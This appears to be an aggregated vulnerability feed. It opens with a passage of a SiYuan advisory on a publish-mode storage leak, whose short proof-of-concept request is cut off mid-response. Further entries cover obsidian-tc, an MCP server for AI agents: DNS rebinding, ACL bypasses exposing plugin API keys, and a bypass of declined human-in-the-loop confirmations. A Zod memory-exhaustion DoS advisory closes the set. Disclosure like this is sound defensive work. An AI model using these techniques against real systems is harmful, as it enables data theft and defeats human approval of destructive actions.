**The filter is an allowlist inverted into a blocklist.** `kernel/model/publish_access.go:911` on master and `:1481` on the development branch, byte-identical on both:

```go
func FilterLocalStorageByPublishAccess(publishAccess PublishAccess, localStorage map[string]any) (ret map[string]any) {
 ret = localStorage // the entire administrator map
 publishIgnore := GetInvisiblePublishAccess(publishAccess)
 // clears local-searchkeys["keys"]
 // clears local-searchasset["k"] and ["keys"]
 // blanks local-docinfo["id"], only when bt != nil, visible tier only, no password check
 return
}
```

`local.json` holds roughly thirty keys. Three are sanitized. The rest are returned as stored.

**What survives.** Taking the client's own list of keys it round-trips through this endpoint (`app/src/protyle/util/compatibility.ts:563`), the notable survivors are:

- `local-closed-tabs`. Up to `SIZE_UNDO` entries, each produced by `layoutToJSON(item, tabJSON)` at `app/src/layout/Wnd.ts:779`. This is the same serializer that produced the data in the earlier advisory: tab title, `docIcon`, `rootId`, `notebookId`, `blockId`, `mode`, `action`, and for a Search tab the entire config object. Unfiltered.
- `local-searchdata`. The live document-search configuration, including `k` (the search text), `r` (replace text), `hPath`, `idPath` (the paths the search was scoped to) and `types`. Note the filter clears the search *history* array and the *asset*-search keyword, but leaves the document-search keyword itself. The project's own standard is applied to two of the three related fields.
- `local-filespaths`. `IFilesPath[]` of `{notebookId, openPaths[]}`, the expanded private notebook and folder paths in the file-tree dock.
- `local-fileposition`, `local-outline`, `local-zoom`. Keyed by document or block identifier, so each discloses private document identifiers.
- `local-move-path`. `{keys[], k}`, the move-document dialog's path history and last keyword.
- `local-recent-docs`, `local-history`, `local-flashcard`, `local-dailynoteid`, `local-layouts`.

**The asymmetry is visible in the function signature.** In the same file, `kernel/api/storage.go`:

| Handler | Filter | Receives `*gin.Context` |
|---|---|---|
| `getCriteria` | `FilterCriteriaByPublishAccess(c, ...)` | yes |
| `getRecentDocs` | `FilterRecentDocsByPublishAccess(c, ...)` | yes |
| `getLocalStorage` / `Val` / `Vals` | `FilterLocalStorageByPublishAccess(publishAccess, data)` | no |

The two sibling filters take the request context and can therefore call `CheckPublishAuthCookie` to evaluate the password tier. `FilterLocalStorageByPublishAccess` does not receive the context, so it cannot perform that check at all. The visible-only limitation is fixed in the parameter list rather than in the body.

Separately, `local-recent-docs` passes through this endpoint unfiltered, which bypasses the dedicated `FilterRecentDocsByPublishAccess` that guards the same data on `getRecentDocs`.

**Note on a prior assessment.** `getLocalStorage` appears on lists of endpoints considered correctly filtered, on the basis that it calls a `Filter*ByPublishAccess` function. That observation is accurate and this report does not contradict it. The filter is called. What it does is assign the whole map and remove three fields.

**No persistence side effect.** The in-place mutations the filter performs do not corrupt the administrator's stored state, because `GetLocalStorage` re-reads and unmarshals `storage/local.json` on each call (`kernel/model/storage.go:82`), so the map is per-request. This is noted to pre-empt the concern rather than as part of the finding.

### Proof of Concept

Precondition: publish mode enabled (default port 6808), anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account. An administrator who has used the client normally, closing some document tabs and running a search.

```
POST http://127.0.0.1:6808/api/storage/getLocalStorage
{}

→ 200. The returned map 

Affected package ranges reported by GitHub:
github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260729005258-4daee87d4152
Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260729005258-4daee87d4152. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc HTTP transport lacks Origin/DNS-rebinding protection, enabling drive-by vault access on loopback
https://kevwire.com/record/CVE-2026-77363
obsidian-tc HTTP transport lacks Origin/DNS-rebinding protection, enabling drive-by vault access on loopback (Oct 12, 2026).
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.
CVSS 9.6 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pqh8-4pj7-32xx).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25).
Sources:
NVD CVE-2026-77363: https://nvd.nist.gov/vuln/detail/CVE-2026-77363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
GitHub-reviewed advisory GHSA-pqh8-4pj7-32xx: https://github.com/advisories/GHSA-pqh8-4pj7-32xx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields
https://kevwire.com/record/CVE-2026-77362
obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields (Oct 23, 2026).
obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields
CVSS 4.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-43r2-c7g8-prc8).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-43r2-c7g8-prc8: https://github.com/advisories/GHSA-43r2-c7g8-prc8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25
### Impact
Bridge tool results filtered only the `items` array against the read ACL and passed sibling fields through unfiltered: `tasks_filter` emitted `groups` whose counts reflected denied notes, `makemd_query` returned `...result` siblings, and `list_templates` enumerated Templater template paths and parsed user-function bodies with no read-whitelist gate. A caller could infer or read data from notes outside its read ACL.

### Patches
Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. All path-attributable fields are now scrubbed or fail-closed, and `list_templates` is gated on the read whitelist.

### Workarounds
Disable the affected bridge tools (`tasks_filter`, `makemd_query`, `list_templates`) via tool visibility.

Affected package ranges reported by GitHub:
obsidian-tc: < 1.3.1
Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zod can exhaust memory while validating oversized constrained collections
https://kevwire.com/record/CVE-2023-54404
Zod can exhaust memory while validating oversized constrained collections (Oct 1, 2026).
Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-mrhx-c7xc-m3w5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-mrhx-c7xc-m3w5: https://github.com/advisories/GHSA-mrhx-c7xc-m3w5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25
Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.

Affected package ranges reported by GitHub:
zod: < 4.6.6
Action: GitHub lists first patched versions: zod: 4.6.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc: Declined human-in-the-loop confirmations can permit destructive calls over HTTP
https://kevwire.com/record/CVE-2026-115477
obsidian-tc: Declined human-in-the-loop confirmations can permit destructive calls over HTTP (Oct 23, 2026).
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-737x-cwfr-5vvc).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25).
Sources:
NVD CVE-2026-115477: https://nvd.nist.gov/vuln/detail/CVE-2026-115477
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
GitHub-reviewed advisory GHSA-737x-cwfr-5vvc: https://github.com/advisories/GHSA-737x-cwfr-5vvc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc tokens can access arbitrary configured vaults
https://kevwire.com/record/CVE-2026-77366
obsidian-tc tokens can access arbitrary configured vaults (Oct 12, 2026).
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-84c9-qqpq-2pq5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25).
Sources:
NVD CVE-2026-77366: https://nvd.nist.gov/vuln/detail/CVE-2026-77366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
GitHub-reviewed advisory GHSA-84c9-qqpq-2pq5: https://github.com/advisories/GHSA-84c9-qqpq-2pq5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default
https://kevwire.com/record/CVE-2026-77364
obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default (Oct 23, 2026).
obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cvp8-vvgf-69q4).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cvp8-vvgf-69q4: https://github.com/advisories/GHSA-cvp8-vvgf-69q4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25
### Impact
With a default configuration, an undefined `readPaths`/`writePaths` meant allow-all, the `strictReadDefault` flag was inert, and the `.obsidian`/`.git`/`.trash` control directories were denied only during enumeration — not on the direct request path. A caller could read `.obsidian/plugins/*/data.json`, exfiltrating **plugin API keys and Obsidian Sync passwords** (live-reproduced), as well as any other in-vault file by path.

### Patches
Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. The default now denies `.obsidian`/`.git`/`.trash` on read/write/delete and honors `strictReadDefault` on the request path.

### Workarounds
Set an explicit `readPaths`/`writePaths` whitelist that excludes the control directories.

Affected package ranges reported by GitHub:
obsidian-tc: < 1.3.1
Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
https://kevwire.com/record/CVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks (Oct 23, 2026).
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
CVSS 4.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-c5xx-h28h-f682).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c5xx-h28h-f682: https://github.com/advisories/GHSA-c5xx-h28h-f682
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25
### Impact
ACL checks ran on the lexical vault-relative path while containment used the realpath. An in-vault symlink placed under an allowed glob, whose realpath resolved into a denied folder, passed the read ACL — an intra-vault read-ACL-scope bypass. It requires an out-of-band-planted symlink (no MCP tool creates one) and is not a vault-root escape.

### Patches
Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. ACL enforcement now derives the realpath vault-relative path and feeds a single unified predicate at every site.

### Workarounds
Do not permit untrusted symlinks inside the vault.

Affected package ranges reported by GitHub:
obsidian-tc: < 1.3.1
